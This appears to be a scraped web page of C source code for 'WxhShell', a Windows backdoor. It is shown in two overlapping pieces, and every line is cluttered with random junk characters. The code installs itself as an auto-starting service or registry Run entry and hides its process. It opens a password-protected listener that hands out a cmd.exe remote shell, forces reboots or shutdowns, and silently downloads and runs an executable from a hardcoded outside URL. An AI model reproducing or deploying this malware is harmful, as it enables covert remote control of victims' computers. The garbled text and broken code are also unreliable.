    if(Boot(SHUTDOWN)) 5G#$c'A{4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B/mYoK  
    else { / |GT\X4o  
    closesocket(wsh); D9.`hs0  
    ExitThread(0); )u;JwFstX  
    } .d~\Ysve  
    break; )GVBE%!WEd  
    } ]ni6p&b>  
  // 获取shell )\wuesAO  
  case 's': { abBO93f^  
    CmdShell(wsh); @lS==O-`f  
    closesocket(wsh); # :#M{1I  
    ExitThread(0); "V4Q2T T  
    break; L}$z/jo  
  } ocF>LR%P  
  // 退出 `FZF2.N  
  case 'x': { ,h^r:g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %:3'4;jh%  
    CloseIt(wsh); ?6f7ld5  
    break; 9@n diu[  
    } 6PU/{c  
  // 离开 D+sQPymI  
  case 'q': { Lz@$3(2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :&qhJtGo  
    closesocket(wsh); yl$F~e1W  
    WSACleanup(); 5;mRGY  
    exit(1); KY$k`f6?P  
    break; '.(~  
        } H<`\bej,  
  } &vkjmiAS  
  } ;L~p|sF  
}3Y <$YL"R  
  // 提示信息 X4wH/q^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (WRMaI72(  
} Fu7M0X'p  
  } fN)x#?  
o@W_ai_  
  return; mu[Op*)  
} fW(/Loh  
"_< 9PM1t  
// shell模块句柄 bb;(gK;F  
int CmdShell(SOCKET sock) zrRFn `B  
{ nBz`q+V  
STARTUPINFO si; *%!M4&  
ZeroMemory(&si,sizeof(si)); NF+<#*1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &gn-Wb?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2q PhLCe Z  
PROCESS_INFORMATION ProcessInfo; sI,W%I':d  
char cmdline[]="cmd"; +C+<BzR~A.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PD6_)PXn  
  return 0; 7Xg?U'X  
}  $dQIs:  
;3"@g]e  
// 自身启动模式 r37[)kJ  
int StartFromService(void) iWA|8$u4gm  
{ FhkkW W L  
typedef struct O_;Dk W  
{ kn"q:aD  
  DWORD ExitStatus; GZ3 ]N  
  DWORD PebBaseAddress; n~.*1. P  
  DWORD AffinityMask; ,Na^%A@TJ  
  DWORD BasePriority; +=BAslk  
  ULONG UniqueProcessId; t"vRc4mf  
  ULONG InheritedFromUniqueProcessId; )Si2 u5  
}   PROCESS_BASIC_INFORMATION; ;H'gT+t<c  
d2N:^vvvR  
PROCNTQSIP NtQueryInformationProcess; 0w=R_C)s  
4J0Rv od_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d0'HDVd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fv!?Ga(  
hK|j6x f.o  
  HANDLE             hProcess; SaOYu &>  
  PROCESS_BASIC_INFORMATION pbi; \%0n}.A  
r'GP$0rr9!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U{@5*4  
  if(NULL == hInst ) return 0; T/1gI9 X  
rl08 R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pkgjTXR2b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RY9V~8|M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c{3wk7  
E"~2./+rd  
  if (!NtQueryInformationProcess) return 0; /Ncm^b4  
9X$ma/P[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CW&.NT  
  if(!hProcess) return 0; 2`G OJ,$  
eE GfM0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vy9 w$ls  
jszK7$]^  
  CloseHandle(hProcess); -n80 &  
m908jI_So  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v'!a\b`9  
if(hProcess==NULL) return 0; N$>^g"6 o  
aj^wRzJ}zA  
HMODULE hMod; P!G858V(  
char procName[255]; 0Hxmm@X2  
unsigned long cbNeeded; jho**TQ P  
cy yVg!+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7&qy5 y-Ap  
6!'3oN{  
  CloseHandle(hProcess); BZ!v%4^9  
;!!n{l$r'  
if(strstr(procName,"services")) return 1; // 以服务启动 \%]I{  
hrGM|_BE  
  return 0; // 注册表启动 ~\LCvcY"X  
} ).^}AFta  
xG&)1sT#-\  
// 主模块 Gs+3e8  
int StartWxhshell(LPSTR lpCmdLine) Eow_&#WW;P  
{ l vMlL5t  
  SOCKET wsl; hCjR&ZA  
BOOL val=TRUE; L>y J  
  int port=0; W\&8au ds  
  struct sockaddr_in door; x^4xq#Bb7  
Qx;\USv  
  if(wscfg.ws_autoins) Install(); U4aU}1RKz  
/='. 4 v  
port=atoi(lpCmdLine); InXn%9]p]  
#txE=e"&o  
if(port<=0) port=wscfg.ws_port; /+Lfrt  
- K9c@?  
  WSADATA data; u! "t!2I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _8Kx6s%  
l&iq5}[n&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s7Ub@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6f')6X'x  
  door.sin_family = AF_INET; s<qe,' Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @=}YTtq  
  door.sin_port = htons(port); &e 6CJ  
&wD;SMr<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g35DV6  
closesocket(wsl); Tq]Sn]CSP  
return 1; =jB08A  
} [<DZ*|+  
]E\n9X-{  
  if(listen(wsl,2) == INVALID_SOCKET) { d ,4]VE  
closesocket(wsl); oE#d,Z  
return 1; DxUKUE  
} ZI=%JU(  
  Wxhshell(wsl); nqInb:  
  WSACleanup(); !O`(JSoG  
bGc~Wr|  
return 0; (h >-&.`&  
VeW>[08  
} ?b(=1S\E'^  
0NS<?p~_S  
// 以NT服务方式启动 :2 *g~6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^$b Y,CE  
{ {q"OM*L(  
DWORD   status = 0; E[/\7 v\  
  DWORD   specificError = 0xfffffff; {phNds%  
 -i0~]*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j'A_'g'^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dBz/7&Q   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7=;R& mqC  
  serviceStatus.dwWin32ExitCode     = 0; ~`aa5;Ab_  
  serviceStatus.dwServiceSpecificExitCode = 0; ogyTO|V=  
  serviceStatus.dwCheckPoint       = 0; "wNJ  
  serviceStatus.dwWaitHint       = 0; 7Zlw^'q$:L  
WA+iYLx@H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $<}$DH_Y  
  if (hServiceStatusHandle==0) return; "*In+!K  
03q 5e  
status = GetLastError(); LDPUD'  
  if (status!=NO_ERROR) -*1J f&  
{ kM,C3x{A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k?+?v?I =  
    serviceStatus.dwCheckPoint       = 0; P)P*Xq r#:  
    serviceStatus.dwWaitHint       = 0; <J) ]mh dm  
    serviceStatus.dwWin32ExitCode     = status; D]zwl@sRX:  
    serviceStatus.dwServiceSpecificExitCode = specificError; g:hjy@ w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E|iQc8gr&  
    return; Zy`m!]G]80  
  } A1O' |7X  
,Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OCe!.`  
  serviceStatus.dwCheckPoint       = 0; _852H$H\  
  serviceStatus.dwWaitHint       = 0; pFOx>u2`a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HiZ*+T.B  
} 6^]+[q}3  
c2l@6<Ww  
// 处理NT服务事件,比如:启动、停止 Te"ioU?.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h9}+l  
{ :D~DU,e'  
switch(fdwControl) >qnko9V  
{ <^#,_o,!  
case SERVICE_CONTROL_STOP: !fE`4<|?  
  serviceStatus.dwWin32ExitCode = 0; >g1~CEMN#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]_f_w 9]  
  serviceStatus.dwCheckPoint   = 0; &u$Q4  
  serviceStatus.dwWaitHint     = 0; -r`.#c4  
  { wr$("A(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9ijfRqI=x  
  } DX#Nf""Pw  
  return; A8muQuj]~~  
case SERVICE_CONTROL_PAUSE: Ni9/}bb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \ 2M_\Q`NY  
  break; 'OITI TM  
case SERVICE_CONTROL_CONTINUE: D+lAhEN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <sb~ ^B  
  break; "q3ZWNS'w  
case SERVICE_CONTROL_INTERROGATE: X _q\Sg  
  break; G/)O@Ugp  
}; o_izl \  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i1}:8Unxf  
} t% d Z-Ym  
YL!P0o13r  
// 标准应用程序主函数 h0g8*HY+}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ER%^!xA  
{ 5'OrHk;u  
h79}qU  
// 获取操作系统版本 S|Q@:r"  
OsIsNt=GetOsVer(); 5%Y3 Kwyy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *3+4[WT0]a  
T^zXt?  
  // 从命令行安装 tH!]Z4}u  
  if(strpbrk(lpCmdLine,"iI")) Install(); A#e%^{q$  
Cwv9 a^  
  // 下载执行文件 )HEa<P^kJl  
if(wscfg.ws_downexe) { xK>*yV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ) ;EBz  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^}RCoE  
} ]vAz  
KYB`D.O   
if(!OsIsNt) { lov!o: dJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 D(~U6SR  
HideProc(); y\/1/WjBn  
StartWxhshell(lpCmdLine); x`mG<Yt  
} p'Y^ X  
else ]}V<*f  
  if(StartFromService()) -M\<nx  
  // 以服务方式启动 ?al'F  q  
  StartServiceCtrlDispatcher(DispatchTable); R|'ybW'Y  
else "fb[23g%@k  
  // 普通方式启动 2IK}vDsis  
  StartWxhshell(lpCmdLine); &j;wCvE4+  
 \__i  
return 0; 1 s\Wtw:  
} \P[Y`LYL  
sWhZby7  
pd?M f=>#  
59LG{R2  
=========================================== Ao 'l"-  
 -uS!\  
&0d# Y]D4`  
7P } W *  
 8$=n j  
Y_liA  
" {FI&^39 F$  
+L$Xv  
#include <stdio.h> J4hL_iCQ  
#include <string.h> R*, MfV  
#include <windows.h> w?L6!)oiz  
#include <winsock2.h> 10Q ]67  
#include <winsvc.h> #mxPw  
#include <urlmon.h> RU|Q ]Ymx  
4Z3su^XR  
#pragma comment (lib, "Ws2_32.lib") KYm0@O>;  
#pragma comment (lib, "urlmon.lib")  $c!p&  
X0HZH?V+  
#define MAX_USER   100 // 最大客户端连接数 Q0sI(V#  
#define BUF_SOCK   200 // sock buffer :U|1xgB  
#define KEY_BUFF   255 // 输入 buffer >58YjLXb  
NWESP U):w  
#define REBOOT     0   // 重启 >Er|Jxy  
#define SHUTDOWN   1   // 关机 W+c<2?d:  
HyQJXw?A:  
#define DEF_PORT   5000 // 监听端口  Mx?d  
&m7]v,&  
#define REG_LEN     16   // 注册表键长度 ?zMHP#i  
#define SVC_LEN     80   // NT服务名长度 `$IK`O  
Et_bH%0  
// 从dll定义API &|1<v<I5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;`4&Rm9n?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UgSB>V<?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {<p?2E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CsR$c,8X.  
&{hL&BLr  
// wxhshell配置信息 \)904W5R  
struct WSCFG { 6'57  
  int ws_port;         // 监听端口 [!uG1GJ>  
  char ws_passstr[REG_LEN]; // 口令 {6|G@ ""O  
  int ws_autoins;       // 安装标记, 1=yes 0=no n nEgx;Nl0  
  char ws_regname[REG_LEN]; // 注册表键名 5lmHotj#  
  char ws_svcname[REG_LEN]; // 服务名 =:Fc;n>c<K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %N6A+5H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~$cV: O7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KP^V>9q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G6P?2@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]@c+]{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wk D^r(hiH  
zT.7  
}; @f~RdO3  
dr}`H,X"3  
// default Wxhshell configuration S~bOUdV Z  
struct WSCFG wscfg={DEF_PORT, 6dt]`zv/  
    "xuhuanlingzhe", G@\1E+Ip  
    1, IB"w&sBy  
    "Wxhshell", (O?.)jEW(.  
    "Wxhshell", 81F/G5  
            "WxhShell Service", T^t# c  
    "Wrsky Windows CmdShell Service", qPK*%Q<;  
    "Please Input Your Password: ", \;3~a9q%  
  1, B$ PP&/  
  "http://www.wrsky.com/wxhshell.exe", o Q2Fjj  
  "Wxhshell.exe" F?*-4I-  
    }; Ad8n<zt|  
$\BE&4g  
// 消息定义模块 7M!I8C0!aO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =E4LRKn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "Mn6U-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C*_C;6.~Y  
char *msg_ws_ext="\n\rExit."; 1\ ~ "VF*{  
char *msg_ws_end="\n\rQuit."; Y'S%O/$  
char *msg_ws_boot="\n\rReboot..."; EStB#V^  
char *msg_ws_poff="\n\rShutdown..."; Tod&&T'UW  
char *msg_ws_down="\n\rSave to "; 2!m/  
+H-6eP  
char *msg_ws_err="\n\rErr!"; XbKYiy  
char *msg_ws_ok="\n\rOK!"; TH&U j1  
`l ^9/_g'6  
char ExeFile[MAX_PATH]; jh%Eq+#S  
int nUser = 0; OmpND{w  
HANDLE handles[MAX_USER]; ,+DG2u  
int OsIsNt; 3vN_p$  
Eu d*_>|  
SERVICE_STATUS       serviceStatus; -`kW&I0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uM IIYS  
*20jz<  
// 函数声明 HZC"nb}r4  
int Install(void); N=5a54!/  
int Uninstall(void); v\gLWq'  
int DownloadFile(char *sURL, SOCKET wsh); F3@phu${  
int Boot(int flag); 5h=}j  
void HideProc(void); KE5kOU;  
int GetOsVer(void); '4+ ur`  
int Wxhshell(SOCKET wsl); :Uzm  
void TalkWithClient(void *cs); (l~AV9!m:  
int CmdShell(SOCKET sock); /tx]5`#@7]  
int StartFromService(void); XH4  
int StartWxhshell(LPSTR lpCmdLine); S]e|"n~@  
[I,Z2G,Jb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {l1.2!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .PIL +x*]N  
dk#k bG;  
// 数据结构和表定义 a od-3"7[  
SERVICE_TABLE_ENTRY DispatchTable[] = 45@ I*`  
{ w7.V6S$Ga  
{wscfg.ws_svcname, NTServiceMain}, 58tARLDr  
{NULL, NULL} ,Bi.1 %$  
}; T= y}y  
PB\(=  
// 自我安装 1y@i}<9F  
int Install(void) _lJ!R:*  
{ _/s$ZCd  
  char svExeFile[MAX_PATH]; )np:lL$$  
  HKEY key; Olt?~}  
  strcpy(svExeFile,ExeFile); urs,34h  
[[Ls_ZL!=  
// 如果是win9x系统,修改注册表设为自启动 ;s= l52  
if(!OsIsNt) { ok"k*?Ov  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KEo ,m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hP%M?MKC  
  RegCloseKey(key); g#pr yYz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]KKS"0a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x/I%2F  
  RegCloseKey(key); 4<w.8rR:A  
  return 0; { =9,n\85#  
    } `t>l:<@%  
  } YlJ@XpKM  
} Ytp(aE:  
else { [B*x-R[FI  
9rA0lqr]5  
// 如果是NT以上系统,安装为系统服务 D :4[ ~A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Zgp4`)}:  
if (schSCManager!=0) h9&0Z +zs  
{ + /4A  
  SC_HANDLE schService = CreateService e9Wa<i 8  
  ( hlvK5Z   
  schSCManager, t9GR69v:?  
  wscfg.ws_svcname, oz\!V*CtK  
  wscfg.ws_svcdisp, c)6m$5]  
  SERVICE_ALL_ACCESS, Y!aSs3c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *2>&"B09`  
  SERVICE_AUTO_START, Y #ap*  
  SERVICE_ERROR_NORMAL, > ym,{EHK  
  svExeFile, dK$XNi13.5  
  NULL, q<x/Hat)  
  NULL, #X+JHl  
  NULL, %vn"{3y>rF  
  NULL, <6%?OJhp  
  NULL P8OaoPj  
  ); fh&nu"&  
  if (schService!=0) )W,aN)1)  
  { @(EAq<5{  
  CloseServiceHandle(schService); XAD- 'i  
  CloseServiceHandle(schSCManager); nSDMOyj+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *?@?f&E/  
  strcat(svExeFile,wscfg.ws_svcname); ozyX$tp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t5^{D>S1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OR P\b  
  RegCloseKey(key); Fk&c=V;SU  
  return 0; %Bj\W'V&p  
    } hk;5w{t}}  
  } ]? c B:}  
  CloseServiceHandle(schSCManager); g.k"]lP  
} gi3F` m  
} % "i(K@  
L8@f-Kk  
return 1; LRxZcxmy  
} ~p6 V,Q  
: g7@PJND  
// 自我卸载  \{_q.;}  
int Uninstall(void) ~f2z]JLr:  
{ SBu"3ym  
  HKEY key; Y sC>i`n9  
Gq)]s'r2  
if(!OsIsNt) { 5;Czu(iH$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +%z> H"J.  
  RegDeleteValue(key,wscfg.ws_regname); n-2]M0 5O  
  RegCloseKey(key); LG9+GszX 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R`5.[?Dt  
  RegDeleteValue(key,wscfg.ws_regname); ;J( 8 L  
  RegCloseKey(key); 0(}t8lc  
  return 0; k!j5tsiR  
  } y%$AhRk*U  
} h%na>G  
} x M/+L:_<  
else { 'T;P;:!\  
H\"sgoJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aH(J,XY  
if (schSCManager!=0) S/hQZHZHg,  
{ .&iawz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #<"~~2?  
  if (schService!=0) +zN-!5x  
  { ' ,wFTV&  
  if(DeleteService(schService)!=0) {  `,*3[  
  CloseServiceHandle(schService); se2!N:|R!G  
  CloseServiceHandle(schSCManager); V*;(kEqj  
  return 0; ij`w} V  
  } z]y.W`i   
  CloseServiceHandle(schService); ,5p(T_V/  
  } %)8}X>xq  
  CloseServiceHandle(schSCManager); a 7 V-C  
} Y=?3 js?O  
} U[-o> W#  
dh iuI|?@  
return 1; l}|%5.5-  
} DH!~ BB;  
?pmHFlx  
// 从指定url下载文件 ^ig' bw+WS  
int DownloadFile(char *sURL, SOCKET wsh) !dnH 7 "  
{ M#6W(|V/  
  HRESULT hr; K#d`Hyx  
char seps[]= "/"; ORw,)l  
char *token; '3fu  
char *file; RWZSQ~  
char myURL[MAX_PATH]; 7t0=[i  
char myFILE[MAX_PATH]; `i*E~'  
n0 {i&[I~+  
strcpy(myURL,sURL); &)ChQZA  
  token=strtok(myURL,seps); Cctu|^V  
  while(token!=NULL) F^BS/Yag  
  { lvz7#f L~  
    file=token; 7(8;t o6(  
  token=strtok(NULL,seps); X`>i& I]  
  } K=k"a  
PiIpnoM  
GetCurrentDirectory(MAX_PATH,myFILE); ?P`K7  
strcat(myFILE, "\\"); q,|j]+9q  
strcat(myFILE, file); AJ`h9 %B  
  send(wsh,myFILE,strlen(myFILE),0); 'Aq{UGN  
send(wsh,"...",3,0); '9J/T57]e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *zvx$yJ?  
  if(hr==S_OK) "7F?@D$e  
return 0; 7' V@+5  
else [!#L6&:a8  
return 1; X51:  
;))+>%SGCt  
} &.Qrs :U  
dOH &  
// 系统电源模块 P* BmHz4KL  
int Boot(int flag) k)=s>&hl  
{ joAv{Tc  
  HANDLE hToken; 8^+%I/S$  
  TOKEN_PRIVILEGES tkp; D8?Vn"  
CxW>~O:  
  if(OsIsNt) { @:vwb\azVD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]Q3ADh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 21l;\W  
    tkp.PrivilegeCount = 1; #r\4sVg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G<J?"oQbRT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ={&j07,*a  
if(flag==REBOOT) { J<h $ wM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rw JIx|(  
  return 0; wJo}!{bN  
} <<5(0#y#  
else { 2uW; xfeY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3bH'H*2  
  return 0; u `6:5k  
} /7F:T[  
  } E*K;H8}s  
  else { f46t9dxp$  
if(flag==REBOOT) { >} i  E(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `1fY)d^ZS  
  return 0; WW~sNC\3`(  
} \Uq(Zga4)  
else { ?%[@Qb=2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4!no~ $b  
  return 0; $uVHSH5l  
} yN(%-u"  
} )Y{L&A  
;85>xHK  
return 1; 3;]H1 1  
} TKmf+ZT*r  
c 3)jccWTc  
// win9x进程隐藏模块 ,w4V?>l  
void HideProc(void) R$[vm6T?  
{ )zdQ1&@  
6mxfLlZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |t#)~Oo  
  if ( hKernel != NULL ) wjB:5~n50k  
  { cU!vsdR3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =MDys b&:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @<EO`L)Z  
    FreeLibrary(hKernel); G3Aes TT|  
  } K`fuf=  
M@v.c; Lt  
return; T!)(Dv8@F  
} +Q"4Migbe@  
u>a5GkG.  
// 获取操作系统版本 p}U ~+:v  
int GetOsVer(void) T'Dv.h  
{ wgGl[_)  
  OSVERSIONINFO winfo; )R1<N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \d`h/tHk  
  GetVersionEx(&winfo); t&e{_|i#+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~6LN6}~|.  
  return 1; ^v7gIC  
  else ,/|T-Ka  
  return 0; $X,D(  
} \ta?b!Y),?  
z9Rp`z&`E  
// 客户端句柄模块 /R wjCUf  
int Wxhshell(SOCKET wsl) r$s Qf&=  
{ NyNXP_8  
  SOCKET wsh; 8&b,qQ~  
  struct sockaddr_in client; tf`^v6m%]  
  DWORD myID; sdw(R#GE  
?hy&  
  while(nUser<MAX_USER) *VxgARIL  
{ 3AN/ H  
  int nSize=sizeof(client); U z>+2m(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fVpMx4&F   
  if(wsh==INVALID_SOCKET) return 1; oe-\ozJ0  
uJ v-4H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a<bwzX|.  
if(handles[nUser]==0) svH !1 b  
  closesocket(wsh); B:'US&6Lf'  
else VRB;$  
  nUser++; 9CD_ os\h  
  } v mk2{f,g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vs!Nmv`  
9~[Y-cpoi  
  return 0; sLxc(d'A  
} { 9q4)R}G  
Q hO!Ma]  
// 关闭 socket P@c5pc#|  
void CloseIt(SOCKET wsh) =Jb>x#Y  
{ -e:`|(Mo  
closesocket(wsh); Wvf ^N(  
nUser--; l2Rb\4  
ExitThread(0); $*fMR,~t&  
} BnasI;yWb  
3)ywX&4"L  
// 客户端请求句柄 1p=]hC  
void TalkWithClient(void *cs) ?gGHj-HYJ  
{ {R6ZKB  
#AQV(;r7@  
  SOCKET wsh=(SOCKET)cs; -nV9:opD  
  char pwd[SVC_LEN]; t1x1,SL  
  char cmd[KEY_BUFF]; E r?&Y,o  
char chr[1]; 9x =Y^',5  
int i,j; [d ]9Oa4  
4'=y:v2  
  while (nUser < MAX_USER) { EXqE~afm2  
S30%)<W  
if(wscfg.ws_passstr) { Mb*?5R6;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7-fb.V9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :d'8x  
  //ZeroMemory(pwd,KEY_BUFF); 5:_}zu|!u  
      i=0; '6%2.[ o  
  while(i<SVC_LEN) { '}Z<h?9  
lL0APT;  
  // 设置超时 -zfR)(zG  
  fd_set FdRead; ]:J$w]\  
  struct timeval TimeOut; - 1gVeT&  
  FD_ZERO(&FdRead); KVa  
  FD_SET(wsh,&FdRead); O0H.C0}  
  TimeOut.tv_sec=8; {E|$8)58i  
  TimeOut.tv_usec=0; SXP]%{@ R/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7s^'d,P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [ub e6  
]3Sp W{=^(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KHvYUTY  
  pwd=chr[0]; 4;2uW#dG"  
  if(chr[0]==0xd || chr[0]==0xa) { <lJ345Q  
  pwd=0; (KZ{^X?a  
  break; 5*u+q2\F  
  } Y(Hs#Kn{  
  i++; SNk=b6`9  
    } #&e-|81H  
+X 88;-  
  // 如果是非法用户,关闭 socket <t!W5q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,f?*{Q2  
} {Ou1KDy#)  
~WF\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y"$xX8o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =~LJ3sIX  
/Z}}(6T  
while(1) { nQ3A~ ()  
lNO;O}8  
  ZeroMemory(cmd,KEY_BUFF); .O<obq~;C  
k$:|-_(w  
      // 自动支持客户端 telnet标准   o.`5D%}i  
  j=0; h 'nY3GrU  
  while(j<KEY_BUFF) { ~v6D#@%A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w5 Li&m  
  cmd[j]=chr[0]; gbD KE{  
  if(chr[0]==0xa || chr[0]==0xd) { H3oFORh  
  cmd[j]=0; gI|~|-'  
  break; %E;'ln4h&,  
  } Zx>=tx}  
  j++; Q22 GIr  
    } <9b &<K:  
W\V.r$? v  
  // 下载文件 hOK8(U0  
  if(strstr(cmd,"http://")) {  C9)@jK%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @IZnFHN  
  if(DownloadFile(cmd,wsh)) 5 SQ 8}Or3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |k00Z+O(  
  else %J-GKpo/S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -$Ih@2"6  
  } 5#z1bu  
  else { Gav$HLx  
"$vRMpW:  
    switch(cmd[0]) { b\,+f n  
